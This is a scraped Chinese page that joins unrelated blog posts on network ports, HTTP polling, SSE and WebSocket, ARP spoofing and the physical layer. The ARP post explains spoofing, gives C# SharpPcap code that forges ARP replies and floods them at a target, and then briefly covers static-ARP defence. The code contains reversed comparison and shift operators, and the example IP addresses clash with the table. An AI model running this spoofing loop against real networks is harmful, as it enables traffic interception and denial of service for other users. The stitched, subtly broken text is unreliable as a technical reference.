精华内容
下载资源
问答
  • 国际标准化组织(ISO)提出开放系统互连参考模型(OSI-RM)下四层(物理层、数据链路层、网络层、传输层)为通信层,因此可以最底层逐一分析:  (1)第一层  NDENT:2em">为物理层,传统电路交换就属于这...
  •  PROFIBUS是一种用于工厂自动化车间级监控和现场设备数据通讯与控制现场总线技术。可实现现场设备到车间级监控分散式数字控制和现场通信,从而为实现工厂综合自动化和现场设备智能化提供了可行解决方案。...
  • 网页浏览:  >>HTTP、SSL(加密技术) ...文件传输:  >>FTP/TFTP  FTP包含21和20端口,也属于TCP协议;TFTP属于UDP协议,69端口 E-Mail  >>SMTP,POP3  SMPT使用25端口,...

    网页浏览:

      >>HTTP、SSL(加密技术)

      一般网页是http协议,80端口,加密的网页是https协议,443端口;HTTP和SSL都是TCP协议

    文件传输:

      >>FTP/TFTP

      FTP包含21和20端口,也属于TCP协议;TFTP属于UDP协议,69端口

    E-Mail

      >>SMTP,POP3

      SMPT使用25端口,属于TCP协议;POP3使用110端口,基于TCP协议

    远程登录

      >>Telnet,SSH

      Telnet使用23端口;SSH加密,使用22端口;这两个都使用TCP协议

    域名服务

      >>DNS

      使用UDP协议,53端口

    网络管理

      >>SNMP

      UDP协议,161和162端口

    转载于:https://www.cnblogs.com/yqpy/p/8682822.html

    展开全文
  • Web实时通信技术即消息推送...HTTP属于应用层协议,在传输层中使用TCP协议,在网络层中使用IP协议。其中IP协议主要解决网络路由和寻址问题,TCP协议主要解决如何在IP层之上传输可靠数据包。 1.2 如何理解HTTP协议

    Java网络编程与IO流目录:

    Web实时通信技术即消息推送机制- 简要介绍短连接 长连接 轮询 长轮询 SSE WebSocket?

    在这里插入图片描述

    一、什么是长连接和短连接?

    长连接和短连接实质上是TCP长连接和短连接。

    在了解HTTP的长连接和短连接之前先来了解一下HTTP协议。

    1.预备知识

    1.1 HTTP协议与TCP/IP协议的关系

    HTTP属于应用层协议,在传输层中使用TCP协议,在网络层中使用IP协议。其中IP协议主要解决网络路由和寻址的问题,TCP协议主要解决如何在IP层之上传输可靠的数据包。

    1.2 如何理解HTTP协议是无状态的

    HTTP协议是无状态的,指的是HTTP协议对于事务处理没有记忆能力,服务器不知道客户端是什么状态。即打开一个服务器上的网页和之前打开的服务器的网页之间没有任何关系。

    HTTP是一个无状态的面向连接的协议。

    2.什么是长连接、短连接

    HTTP协议主要有HTTP/1.0和HTTP/1.1,目前上网大多数用的是HTTP/1.1协议。

    在HTTP/1.0中,默认使用的是短连接,也就是说,浏览器和服务器每进行一次HTTP操作,就建立一次连接,但任务结束就中断连接。如果客户端浏览器访问的某个HTML或其他类型的 Web页中包含有其他的Web资源,如JavaScript文件、图像文件、CSS文件等;当浏览器每遇到这样一个Web资源,就会建立一个HTTP会话。

    但从HTTP/1.1中,默认使用长连接,用以保持连接特性。使用长连接的HTTP协议,会在响应头有加入这行代码:Connection:keep-alive。 即一个网页打开完成后,客户端和服务器之间用于传输HTTP数据的 TCP连接不会关闭,如果客户端再次访问这个服务器上的网页,会继续使用这一条已经建立的连接。Keep-Alive不会永久保持连接,它有一个保持时间,可以在不同的服务器软件(如Apache)中设定这个时间。实现长连接要客户端和服务端都支持长连接。

    HTTP协议的长连接和短连接,实质上是TCP协议的长连接和短连接。

    2.1 TCP连接

    在网络通信时采用TCP协议,server与client之间必须建立一个连接,当读写操作完成后,双方不再需要这个连接时它们可以释放这个连接。而连接的建立是需要三次握手,而连接的释放需要四次挥手,因此连接的建立是需要资源消耗的和时间的。

    三次握手示意图

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-AjvUw6rd-1606225137702)(D:\software\typora\workplace\imgs_websocket\1.png)]

    四次挥手示意图

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-XNCrPTfv-1606225137704)(D:\software\typora\workplace\imgs_websocket\2.png)]

    2.2 TCP短连接

    TCP 短连接的情况,client 向 server 发起连接请求,server 接到请求,然后双方建立连接。client 向 server 发送消息,server 回应 client,然后一次读写就完成了,这时候双方任何一个都可以发起 close 操作,不过一般都是 client 先发起 close 操作。为什么呢,一般的 server 不会回复完 client 后立即关闭连接的,当然不排除有特殊的情况。从上面的描述看,短连接一般只会在 client/server 间传递一次读写操作
    短连接的优点是:管理起来比较简单,存在的连接都是有用的连接,不需要额外的控制手段

    2.2 TCP长连接

    长连接的情况,client 向 server 发起连接,server 接受 client 连接,双方建立连接。Client 与 server 完成一次读写之后,它们之间的连接并不会主动关闭,后续的读写操作会继续使用这个连接。

    而保持TCP长连接需要用到TCP的保活功能。

    TCP保活功能:主要为服务器应用提供,服务器应用希望知道客户主机是否崩溃,从而可以代表客户使用资源。如果客户已经消失,使得服务器上保留一个半开放的连接,而服务器又在等待来自客户端的数据,则服务器将应远等待客户端的数据,保活功能就是试图在服务 器端检测到这种半开放的连接。

    如果一个给定的连接在两小时内没有任何的动作,则服务器就向客户发一个探测报文段,客户主机必须处于以下4个状态之一:

    • 客户主机依然正常运行,并从服务器可达。客户的 TCP 响应正常,而服务器也知道对方是正常的,服务器在两小时后将保活定时器复位。
    • 客户主机已经崩溃,并且关闭或者正在重新启动。在任何一种情况下,客户的 TCP 都没有响应。服务端将不能收到对探测的响应,并在75秒后超时。服务器总共发送10个这样的探测 ,每个间隔75秒。如果服务器没有收到一个响应,它就认为客户主机已经关闭并终止连接。
    • 客户主机崩溃并已经重新启动。服务器将收到一个对其保活探测的响应,这个响应是一个复位,使得服务器终止这个连接。
    • 客户机正常运行,但是服务器不可达,这种情况与2类似,TCP能发现的就是没有收到探查的响应。

    二、什么是长轮询和短轮询?

    2.1 需求场景

    比如一个电商商品详情的页面,这个详情页面中一个字段是库存量,而这个库存量是需要实时变化,保持和服务里实际的库存一致。

    2.2 短轮询ShortPolling(客户端轮询)

    短轮询:短轮询是在特定的时间间隔(如间隔1s),由客户端向服务器端发送HTTP request,然后由服务器返回最新的数据给客户端。不管服务器数据有没有变化,客户端都会发送请求,来获取数据

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-6HxBON2C-1606225137705)(D:\software\typora\workplace\imgs_websocket\3.png)]

    那么对上面需求的实现方式就是:用JS写个死循环,不停的去请求服务器中的库存量是多少,然后刷新到这个页面当中,这其实就是所谓的短轮询。

    特点: 客户端主动向服务器请求数据,服务器被动推送消息。
    缺点: 浏览器需要不断的向服务器发出请求,然而HTTP request 的header是非常长的,里面包含的有用数据可能只是一个很小的值,这样会占用很多的带宽,造成资源浪费。同时也不能保证及时更新最新信息。

    2.3 长轮询

    客户端发送请求后,服务器端不会立即返回数据,服务器端会阻塞请求,连接不会立即断开,直到服务器端有数据更新或者是连接超时才返回,客户端才再次发出请求,新建连接,如此反复,从而获取最新数据。

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-5l5VbWSg-1606225137708)(D:\software\typora\workplace\imgs_websocket\4.png)]

    还是对上面那个需求的实现,不同于短轮询去服务查询的时候,不管库存量有没有变化,服务器就立即返回结果。长轮询,服务器如果检测到库存量没有变化的话,将会把当前请求挂起一段时间(这个时间也叫作超时时间)。在这个时间,服务器会去检测库存量有没有变化,检测到变化就立即返回,否则就一直等到超时为止。

    **特点:**客户端主动向服务器请求数据,服务器被动推送消息。一个连接断开后,就有新的连接产生,跟轮询(短轮询)相比,能减少资源浪费但依旧很浪费资源。

    2.4 长轮询和短轮询的区别

    对于客户端来说,不管是长轮询还是短轮询,客户端的动作都是一样的,就是不停的去请求;

    不同的是服务端,短轮询情况下服务端每次请求不管有没有变化都会立即返回结果,而长轮询情况下,如果有变化才会立即返回结果,而没有变化的话,则不会再立即给客户端返回结果,直到超时为止

    2.5 长短轮询和长短连接

    • 对于长短轮询:

      • 一个TCP连接是否为长连接,是通过设置HTTP的Connection Header来决定的,而且是需要两边都设置才有效。
      • 连接的长短是通过协议来规定和实现的。
    • 对于长短连接:

      • 根据服务端的处理方式来决定的,与客户端没有关系。

      • 服务器通过编程的方式手动挂起请求来实现的。

    三、Server-Sent Events(SSE)

    传统意义上服务器端不会主动推送给客户端消息,一般都是客户端主动去请求服务器端获取最新的数据。而SSE是一种可以主动从服务器推送消息的技术。

    严格来说,HTTP协议无法做到服务器主动推送信息。但有一种变通方法,就是服务器向客户端声明,接下来要发送的是流信息(streaming).也就是说,发送的不是一次性的数据包,而是一个数据流,会连续不断的发送过来。这时,客户端不会关闭连接,会一直等着服务器发过来的新的数据流。本质上,这种通信就是以流信息的方式,完成一次用时很长的下载。

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-f26keOCO-1606225137711)(D:\software\typora\workplace\imgs_websocket\5.png)]

    3.1 需求场景

    在商品后台中,如果有用户下了订单就给后台一个通知,即服务器推送功能。

    当前网站在线的实时人数;

    法币汇率显示当前实时汇率;

    电商大促的实时成交额;

    3.2 SSE的特点

    SSE与WebSocket作用很相似,都是建立游览器与服务器之间的通信渠道,然后服务器向游览器推送信息。

    但websocket更强大和灵活,因为websocket是全双工的通道,可以双向通信;SSE是单向通道,只能服务器向游览器发送,因为流信息本质上就是下载,如果游览器向服务器发送消息,就变成了另一次的HTTP请求。

    SSE的优势如下:

    • SSE使用HTTP协议,现有的服务器软件都支持;而WebSocket是一个独立协议。
    • SSE属于轻量级,使用简单;WebSocket协议相对复杂。
    • SSE默认支持断线重连;WebSocket需要自己实现。
    • SSE一般只用来传送文本,二进制数据需要编码后传送;WebSocket默认支持传送二进制数据
    • SSE支持自定义发送的消息类型。

    总之,SSE是长连接的;且服务端可以向客户端推送信息。即客户端只需连接一次,Server就定时推送,除非其中一端断开连接,并且SSE会在连接意外断开时自动重连。

    四、WebSocket

    WebSocket要求游览器可以通过JavaScript脚本手动创建一个TCP连接与服务器端进行通讯。WebSocket使用了ws和wss协议,需要服务器有与之握手的算法才能将连接打开。客户端什么时候想发就发,服务器端什么时候想回就回,两边都有监听者socket在负责,可以服务器端消息的实时推送。

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-emgtp7OR-1606225137713)(D:\software\typora\workplace\imgs_websocket\6.png)]

    补充:HTTP101状态码:切换协议,服务器端根据客户端的请求切换协议。

    socket本身并不是协议,是一个套接字,TCP/IP网络的API,是为了方便大家直接使用更底层的协议而存在的抽象层。

    4.1 需求场景

    WebSocket是一种在单个TCP连接上进行全双工通信的协议,是为了满足基于Web的日益增长的实时通信需求而产生的。我们平时接触的大多数是HTTP的接口,但是在有些业务场景中无法满足要求,就需要用到WebSocket。

    • 页面地图上要实时显示在线人员的坐标:传统基于HTTP接口的处理方式是轮询,每次轮询更新的坐标信息。
    • 手机的付款码页面,在外界设备扫描付款码支付成功后,手机付款码页面提示“支付成功”并自动关闭。穿鸥汀是付款码页面一直调用接口,直到从服务器获取成功支付的状态后,手机提示“支付成功”并关闭付款码页面。

    很明显,HTTP协议有一个缺陷:通信只能有客户端发起,这种单向请求的特点,注定了如果服务器有连续的状态变化,客户端要获知就非常麻烦。我们就只能使用“轮询”:每隔一段时间,就发出一个询问,了解服务器有没有新的信息,但这种方式浪费带宽(HTTP HEAD是比较大的),又消耗服务器CPU占用(没有消息也要接受请求)

    4.2 WebSocket特点

    WebSocket是一种协议,是一种与HTTP同等的网络协议,两者都是应用层协议,都基于TCP协议。但是WebSocket是一种双向通信协议,在建立连接之后,WebSocket的server与client都能够主动向对方发送或者接收数据。同时WebSocket在建立连接时需要借助HTTP协议,连接建立之后client与server之间的双向通信就与HTTP无关了。

    相比较传统HTTP的每次“请求-应答”都要client与sevrer建立连接的模式,websocket是一种长连接的模式。就是一旦websocket连接后,除非client或者server中有一端主动断开连接,否则每次数据传输之前都不需要HTTP那样请求数据。

    Websocket SSE(Server-Sent Events)
    通讯方式 基于TCP长连接通讯 http
    优点 全双工通讯协议,性能开销小、安全性高,有一定可扩展性 实现简便,开发成本低,默认支持断线重连
    缺点 传输数据需要进行二次解析,增加开发成本及难度 浏览器兼容问题,单向

    总结

    # 轮询(Polling) 长轮询(Long-Polling) Websocket sse
    通信协议 http http tcp http
    触发方式 client(客户端) client(客户端) client、server(客户端、服务端) client、server(客户端、服务端)
    优点 兼容性好容错性强,实现简单 比短轮询节约资源 全双工通讯协议,性能开销小、安全性高,可扩展性强 实现简便,开发成本低
    缺点 安全性差,占较多的内存资源与请求数 安全性差,占较多的内存资源与请求数 传输数据需要进行二次解析,增加开发成本及难度 只适用高级浏览器
    延迟 非实时,延迟取决于请求间隔 同短轮询 实时 非实时,默认3秒延迟,延迟可自定义

    在这里插入图片描述

    展开全文
  • 引言未知攻,焉知防,本文仅用于研究ARP欺骗攻击...而在TCP/IP协议中,网络层和传输层只关心目标主机IP地址。这就导致在以太网中使用IP协议时,数据链路层以太网协议接到上层IP协议提供数据中,只包含目的主机...

    58ddbdcffdaeb900f22e74468e949a45.gif引言

    未知攻,焉知防,本文仅用于研究ARP欺骗攻击与防护技术,切勿用于非法用途,本文不承担任何法律责任。

    什么是ARP协议

    官话:在以太网协议中规定,同一局域网中的一台主机要和另一台主机进行直接通信,必须要知道目标主机的MAC地址。而在TCP/IP协议中,网络层和传输层只关心目标主机的IP地址。这就导致在以太网中使用IP协议时,数据链路层的以太网协议接到上层IP协议提供的数据中,只包含目的主机的IP地址。于是需要一种方法,根据目的主机的IP地址,获得其MAC地址。这就是ARP协议要做的事情。所谓地址解析(address resolution)就是主机在发送帧前将目标IP地址转换成目标MAC地址的过程。– Extracted from WikiPedia.

    通俗点说,在局域网中通信时使用的是MAC地址,而不是常见的IP地址。所以在局域网的两台主机间通信时,必须要知道对方的MAC地址,这就是ARP协议要做的事:将IP地址转换为MAC地址。

    从以太网帧来看,以太网帧分为:以太网首部、上层数据部分、以太网尾,三部分。在物理层传输的数据都是使用以太网帧来封装起来传输的(通俗的说就是在数据包头加上以太网首部,数据包尾加上以太网尾),而网络传输是分层进行的,也就是物理层只处理物理层的数据,对于以太网帧中的上层数据部分并不关心。在以太网帧中,以太网首部中存放了目的主机的MAC地址和源主机的MAC用于在以太网中传输数据。所以,在以太网通信中,只知道对方的IP地址是不可以通信的,因为IP地址属于第三层(网络层)的地址,对于物理层的以太网帧来说IP地址属于上层数据部分,以太网是无法识别的,所以就要使用ARP协议获取到对方的MAC地址进行通信。

    cc792a97342842bb41292e4bafa1484a.png

    ARP是如何工作的?

    举个栗子:现在有两台处于同一局域网的主机A、B。

    主机IP地址MAC地址
    A192.168.1.10A-11-22-33-44-01
    B192.168.1.20A-11-22-33-44-02

    现在主机A要和主机B通信,那么根据上面的介绍可以知道,主机A仅有主机B的IP地址是不可以通信的,还要知道主机B的MAC地址,下面介绍主机A是如何通过ARP协议获取主机B的MAC地址的:

    第1步根据主机A上的路由表内容,IP确定用于访问主机B的转发IP地址是192.168.1.2。然后A主机在自己的本地ARP缓存中检查主机B的匹配MAC地址。

    第2步如果主机A在ARP缓存中没有找到映射,它将询问192.168.1.2的硬件地址,从而将ARP请求帧广播到本地网络上的所有主机。源主机A的IP地址和MAC地址都包括在ARP请求中。本地网络上的每台主机都接收到ARP请求并且检查是否与自己的IP地址匹配。如果主机发现请求的IP地址与自己的IP地址不匹配,它将丢弃ARP请求

    第3步:主机B确定ARP请求中的IP地址与自己的IP地址匹配,则将主机A的IP地址和MAC地址映射添加到本地ARP缓存中。

    第4步主机B将包含其MAC地址的ARP回复消息直接发送回主机A。

    第5步当主机A收到从主机B发来的ARP回复消息时,会用主机B的IP和MAC地址映射更新ARP缓存。本机缓存是有生存期的,生存期结束后,将再次重复上面的过程。主机B的MAC地址一旦确定,主机A就能向主机B发送IP通信了。

    了解ARP协议的工作原理后可以分析出其存在一个严重的安全问题:

    在ARP回复时,发送请求包的主机A并不会验证ARP回复包的真实性,也就是不能判断回复主机A的是不是主机B。由此引出一个局域网

    攻击方式ARP欺骗。

    什么是ARP欺骗

    举个栗子:

    主机IPMAC
    A192.168.1.10A-11-22-33-44-01
    B192.168.1.20A-11-22-33-44-02
    C192.168.1.30A-11-22-33-44-03

    1.主机A要和主机C通信,主机A发出ARP包询问谁是192.168.1.3?请回复192.168.1.1

    2.这时主机B在疯狂的向主机A回复,我是192.168.1.3,我的地址是0A-11-22-33-44-02

    3.由于ARP协议不会验证回复者的身份,造成主机A错误的将192.168.1.3的MAC映射为0A-11-22-33-44-02。

    ARP欺骗的分类

    1.主机欺骗,如同上面的栗子,主机B欺骗局域网中的主机A。

    2.网关欺骗,局域网中的主机欺骗网关,从而获取其他主机的进流量。

    ARP攻击的危害

    1.造成局域网中的其他主机断网。

    2.劫持局域网中其他主机或网关的流量,获取敏感信息等。

    如何实现ARP攻击

    找轮子

    例如kali下的arpspoof、ettercap等工具。

    造轮子

    首先介绍下LibPacp:

    LibPcap是一个UNIX下的C函数库,它提供的API,能获取和过滤从任意一块网卡在数据链路层上的帧。不同的UNIX系统有不同的架构去处理数据链路层上的数据帧,所以程序员如果想要写一个能运行在UNIX上的、直接读取或者操作数据链路层上的帧的应用程序,他就不得不专门为这个特点版本的UNIX写一个访问帧的函数。libpcap的目的就是提供一个抽象层,这样程序员就能编写可运行在所有版本的UNIX上的包获取和分析工具了。

    然后是WinPcap:

    WinPcap是一个专为Windows系统设计的、基于libpcap的库。大多数Windows下的网络流量分析工具都是基于WinPcap开发的,比如Wireshark。

    接着是SharpPcap:

    SharpPcap是封装好WinPcap和LibPcap的C#库。

    除了知道开发用的库还要知道以太网帧和ARP报文的结构(SharpPcap提供了封装好的方法,但是为了学习还是自己造轮子):

    6e4ed512dbb07a031da9c752250bd75c.png

    第一部分:

    以太网首部也可以说是以太网帧的头部,这部分包括了目标主机的MAC地址、源主机的MAC地址、上层协议类型

    第二部分:

    ARP报文这部分中的第20位,0×00,0×01表示ARP请求包,0×00,0×02表示应答包。由于以太网帧最短长度为64个字节,由于ARP报文加上以太网头不足64个字节,所以要填充18个字节的0×00第三部分:FCS帧校验序列即计算机网络数据链路层的协议数据单元(帧)的尾部字段,是一段4个字节的循环冗余校验码。源节点发送数据帧时,由帧的帧头和数据部分计算得出FCS,目的节点接收到后,用同样的方式再计算一遍FCS,如果与接收到的FCS不同,则认为帧在传输过程中发生了错误,从而选择丢弃这个帧。

    知道了ARP欺骗的原理和ARP数据包的格式后,只要构造出一个ARP欺骗包,重复向目标主机发出就可以了。原理很简单,实现起来稍有一点难度:首先要先要获取本机的IP地址和MAC地址,我在下面的Deemo中实现了SharpPacp获取本机IPv4地址和MAC地址的方法:

    8e8d127c3f699224ed9e46cb66909f16.png

    代码分析:

    LibPcapLiveDeviceList.Instance获取本机中所有网卡的

    Listdevice.Address获取房卡中所有的地址信息(包括IPv4,IPv6,MAC)

    Sockaddr.AddressType.AF_INET_AFINET6用于判断是不是IP地址(官方解释)

    Sockaddr.AddressType.AF_INET_AFINET6用于判断是不是MAC地址

    接下来还要获取到目标主机的地址信息,IP地址和MAC可以手动指定,为了更加人性化的挨打操作,当然要根据输入的IP自动获得MAC地址了,知道ARP原理了,获取对方的MAC地址只要向对方发送一个ARP请求包然后监听网卡就可以了。代码如下:

    /// 
    /// 发送ARP请求包,根据返回的应答包获取MAC地址
    ///
    public void ScanLAN(string recipientIP,string senderMAC,string senderIP){
    // 构造Arp请求包
    var arpPackets = BuildRequest(IPAddress.Parse(recipientIP), PhysicalAddress.Parse(senderMAC), IPAddress.Parse(senderIP));
    //创建一个“tcpdump”过滤器,只允许读取arp回复
    String arpFilter = "arp and ether dst " + senderMAC;
    //open the device with 20ms timeout 打开设备,设置超时时间20ms
    _device.Open(DeviceMode.Promiscuous, 20);
    //set the filter 设置过滤器
    _device.Filter = arpFilter;
    //初始化扫描线程
    scanThread = new Thread(() =<
    {
    var lastRequestTime = DateTime.FromBinary(0);
    var requestInterval = new TimeSpan(0, 0, 1);
    var timeoutDateTime = DateTime.Now + timeout;
    while (DateTime.Now > timeoutDateTime)
    {
    if (requestInterval > (DateTime.Now - lastRequestTime))
    {
    // inject the packet to the wire 发送请求包
    _device.SendPacket(arpPackets);
    lastRequestTime = DateTime.Now;
    }
    //read the next packet from the network
    var reply = _device.GetNextPacket(); //获取网卡中的下一个包,过滤出ARP
    if (reply == null) //下一个包为空时,跳过本次循环
    {
    continue;
    }
    // parse the packet 解析数据包
    var packet = PacketDotNet.Packet.ParsePacket(reply.LinkLayerType, reply.Data);
    // is this an arp packet? 这是一个arp数据包吗?
    var arpPacket = PacketDotNet.ARPPacket.GetEncapsulated(packet);
    if (arpPacket == null)
    {
    continue;
    }
    //if this is the reply we're looking for, stop //ARP包中的源主机IP 等于 UI中的目标主机IP
    if (arpPacket.SenderProtocolAddress.ToString().Equals(recipientIP))
    {
    // 通知事件 -更新靶机MAC
    if (ResolvedEvent != null)
    {
    ResolvedEvent(this, arpPacket.SenderHardwareAddress);
    }
    break;
    }
    }
    _device.Close(); //关闭设备
    });
    scanThread.Start(); //启动线程
    }

    代码解析:

    创建一个线程专门用来发送ARP请求包和解析网卡中收到的ARP应答包,启动线程发送一个包后,检测网卡数据,并过滤出所有网卡中的ARP数据包,然后对包进行解析,如果包中的源主机IP是构造的包中的目标主机证明这个包是刚才发送的请求包的应答包,然后:

    1.通知事件更新UI、

    2.结束线程、

    3.关闭设备

    得到本机地址信息和目标主机的地址信息后,只要将之前构造的包中的相应的地址信息体替换掉就好了

    58f60a49f2c180ab0591286d14fa6d42.png

    除了要换掉包中的地址信息,还要在尾部加上FCS校验码:什么是FCS校验码?FCS:Frame Check Sequence(帧校验序列),俗称帧尾,即计算机网络数据链路层的协议数据单元(帧)的尾部字段,是一段4个字节的循环冗余校验码。源节点发送数据帧时,由帧的帧头和数据部分计算得出FCS,目的节点接收到后,用同样的方式再计算一遍FCS,如果与接收到的FCS不同,则认为帧在传输过程中发生了错误,从而选择丢弃这个帧。FCS提供了一种错误检测机制,用来验证帧在传输过程中的完整性。FCS采用了循环冗余校验CRC32校验算法,那么什么是CRC校验呢?CRC校验通俗点讲,就是将给出的二进制数据与一个固定的多项式进行莫2除计算,得出的余数就是CRC校验码。举个栗:计算4位的CRC校验码

    996e5ab6df5b5674506a70f97506adb8.png

    知道CRC计算原理后,再来看一下CRC-4的实现:原始的 CRC 校验算法:根据多项式除法,我们就可以得到原始的 CRC 校验算法。假设生成多项式 g(x) 是 r 阶的,原始数据存放在 data 中,长度为 len 个 bit , reg 是 r+1 位的变量。以 CRC-4 为例,生成多项式 g(x)=x^4 + x + 1 ,对应了一个 5bits 的二进制数字 10011 ,那么 reg 就是 5 bits 。

    reg[1] 表明 reg 的最低位, reg[r+1] 是 reg 的最高位。

    通过反复的移位和进行除法,那么最终该寄存器中的值去掉最高一位就是我们所要求的余数。所以可以将上述步骤用下面的流程描述:

    reg = 0;
    data = data追加r个;
    pos = 1;
    while(pos &lt;= len)
    {
    if(reg[r+1] == 1) // 表明reg可以除以g(x)
    {
    // 只关心余数,根据上面的算法规则可知就是XOR运算
    reg = reg XOR g(x);
    }
    // 移出最高位,移入新数据
    reg = (reg&lt;&lt;1) | (data[pos]);
    pos++;
    }
    return reg; // reg中的后r位存储的就是余数

    上面只是简述一下CRC算法的原理,如果采用CRC-4的原始算法实现速度很慢,计算一个ARP数据包的CRC32码大约亲测需要十几秒左右的时间,建议以用CRC-32算法校验,由于CRC32算法实现比较复杂,这里不再做论述。

    然后将计算得出的CRC32码粘到构造好的包尾就可以了。

    //计算CRC32校验码
    UInt32 u = GetCRC32(packet);
    byte[] crc = new byte[4];
    //Uint转Byte[4] CRC32 is Unit To Byte[4]
    crc[0] = (byte)(u << 24);
    crc[1] = (byte)(u << 16);
    crc[2] = (byte)(u << 8);
    crc[3] = (byte)(u);
    //填充FCS校验位
    for (int i = 0; i > crc.Length; i++)
    {
    p1[p1.Length - 1 - 4 + i] = crc[i];
    }
    return p1;

    到此,ARP数据包的构造就算完成了。

    最后要实现ARP的欺骗,只要利用SharpPacp提供的发包方法,在线程中疯狂发包就可以了。

    /// >summary<
    /// arp欺骗:对内网PC进行欺骗
    /// >/summary<
    /// >param name="getwayIP"<>/param<
    /// >param name="wrongMac"<>/param<
    /// >param name="destIP"<>/param<
    /// >param name="destMac"<>/param<
    public void StartARPSpoofing(string senderIP, string recipientIP,string senderMAC,string recipientMAC){
    mIP = IPTOBYTE(recipientIP);
    sIP = IPTOBYTE(senderIP);
    mMAC = MACTOBYTE(recipientMAC);
    sMAC = MACTOBYTE(senderMAC);
    //构造ARP欺骗包
    packet = getPacket(sIP, mIP, sMAC, mMAC);
    //初始化发包线程
    sendThread = new Thread(SendPack);
    //启动线程
    sendThread.Start();
    }
    /// >summary<
    /// 发送数据
    /// >/summary<
    public void SendPack(){
    _device.Open();
    var timeoutDateTime = DateTime.Now + timeout;
    //发送数据包
    while (true)
    {
    _device.SendPacket(packet);
    time++;
    // 通知事件 -更新发包次数
    if (ResolvedEvent != null)
    {
    ResolvedTimeEvent(this, time);
    }
    Thread.Sleep(100); //线程休眠100ms
    }
    }

    正文:如何防御ARP欺骗

    ARP欺骗是通过重复应答实现的,那么只需要在本机添加一条静态的ARP映射,这样就不需要询问网关MAC地址了,这种方法只对主机欺骗有效。对于网关欺骗还需要在网关中也添加一条到主机的静态ARP映射。1.用管理身份运行命令提示符;输入netsh i i show in,查看一下本机有哪些网络连接

    netsh i i show in

    61c9d1486e4fb57ee4b1c1b12702dd99.png

    2.查看一下网关的MAC地址。注意如果正遭受ARP欺骗攻击,通过此方法查处的可能是虚假的MAC地址。输入arp -a命令查询本机的arp映射表,如果找不到网关的信息,可以先ping一下网关。

    c8e8e05cffcacaef43bbbb855e14985e.png

    3.输入:netsh -c “i i” add neighbors 连接的Idx号 网关IP 网关MAC 添加一条静态映射,我已经添加过了,所以会显示 对象已存在

    netsh -c "i i" add neighbors 连接的Idx号 网关IP 网关MAC
    netsh -c "i i" add neighbors 9 10.60.12.1 4c-5e-0c-64-73-f5

    644a697be16451bc4814840ad8e60d34.png

    总结

    研究ARP欺骗攻击与防护技术暂告一段落。

    19a96cee268138d4b159fcdc75d8b48d.gif

    展开全文
  • 物理是TCP/IP协议最底层,但并不意味着这一是实体,不是指具体的传输媒体,物理要尽可能屏蔽掉不同传输媒体和通信手段差异,为它上层提供数据通讯服务 数据通信的基础知识 信道 信道和电路并不一样,...

    物理层是什么?

    物理层是TCP/IP协议的最底层,但并不意味着这一层是实体,不是指具体的传输媒体,物理层要尽可能的屏蔽掉不同传输媒体和通信手段的差异,为它的上层提供数据通讯服务

    数据通信的基础知识

    信道

    信道和电路并不一样,信道用来表示向某一个方向传送信息的媒体,一条发送电路往往包含一条发送信息的信道和一条接收信道
    从通信的双方信息交互的方式来看,可以有以下三种基本方式:

    1. 单向通信又称为单工通信,即只能有一个方向的通信而没有反方向的交互。无线电广播或有线电广播以及电视广播就属于这种类型。
    2. 双向交替通信又称为半双工通信,即通信的双方都可以发送信息,但不能双方同时发送(当然也就不能同时接收)。这种通信方式是一方发送另一方接收,过一段时间后可以再反过来。
    3. 双向同时通信又称为全双工通信,即通信的双方可以同时发送和接收信息。单向通信只需要一条信道,而双向交替通信或双向同时通信则都需要两条信道(每个方向各一条)。显然,双向同时通信的传输效率最高。
    调制

    许多信道并不能传输从信源发出的信号(基带信号)中的低频分量或直流分量。为了解决这一问题,就必须对基带信号进行调制
    调制可分为基带调制带通调制

    • 前者仅仅对基带信号的波形进行变换,使它能够与信道特性相适应。变换后的信号仍然是基带信号。由于这种基带调制是把数字信号转换为另一种形式的数字信号,因此大家更愿意把这种过程称为编码
      常见的编码方式
      在这里插入图片描述
      曼彻斯特编码位周期中心的向上跳变代表0,位周期中心的向下跳变代表但也可反过来定义;差分曼彻斯特编码在每一位的中心处始终都有跳变。位开始边界有跳变代表0,而位开始边界没有跳变代表1。

    • 后者使用载波进行调制,把基带信号的频率范围搬移到较高的频段,并转换为模拟信号,这样就能够更好地在模拟信道中传输。经过载波调制后的信号称为带通信号(即仅在一段频率范围内能够通过信道)。
      vvvv

    信道的极限容量

    虽然信号在信道上传输时会不可避免地产生失真,但在接收端只要我们从失真的波形中能够识别出原来的信号,那么这种失真对通信质量就没有影响。如图:
    在这里插入图片描述
    从概念上讲,限制码元在信道上的传输速率的因素有以下两个:

    信道能够通过的频率范围

    由于信号会失真,波形的分界不规则不明显,就会导致码间串扰,奈奎斯特推导出了著名的奈氏准则。他给出了在假定的理想条件下,为了避免码间串扰,码元的传输速率的上限值。所以,在任何信道中,码元传输的速率是有上限的,传输速率超过此上限,就会出现严重的码间串扰的问题,使接收端对码元的判决(即识别)成为不可能。

    信噪比

    信噪比就是信号的平均功率噪声的平均功率之比,信噪比 = 10log(S/N),并用分贝(dB)作为度量单位。
    香农(Shannon)推导出了著名的香农公式
    香农公式指出,信道的极限信息传输速率C是 C=Wlog2(1+S/N)(bit/s)

    W为信道的带宽(以Hz为单位),S为信道内所传信号的平均功率,N为信道达部的高斯噪声功率。香农公式表明,信道的带宽或信道中的信噪比越大,信息的极限传输速率就越高。香农公式指出了信息传输速率的上限。香农公式的意义在于:只要信息传输速率低于信道的极限信息传输速率,就一定存在某种办法来实现无差错的传输

    信道复用技术

    复用是通信技术中的基本概念。
    在这里插入图片描述
    如上图,虽然复用要付出一定代价(共享信道由于带宽较大因而费用也较高,再加上复用器和分用器)。但如果复用的信道数量较大,那么在经济上还是合算的。

    频分复用FDM (Frequency Division Multiplexing)、时分复用TDM(Time Division Multiplexing)

    在这里插入图片描述

    统计时分复用STDM (Statistic TDM)

    在这里插入图片描述

    波分复用WDM (Wavelength Division Multiplexing)

    在这里插入图片描述
    光的频分复用

    码分复用CDM (Code Division Multiplexing)

    相当于给每个用户特殊的密码
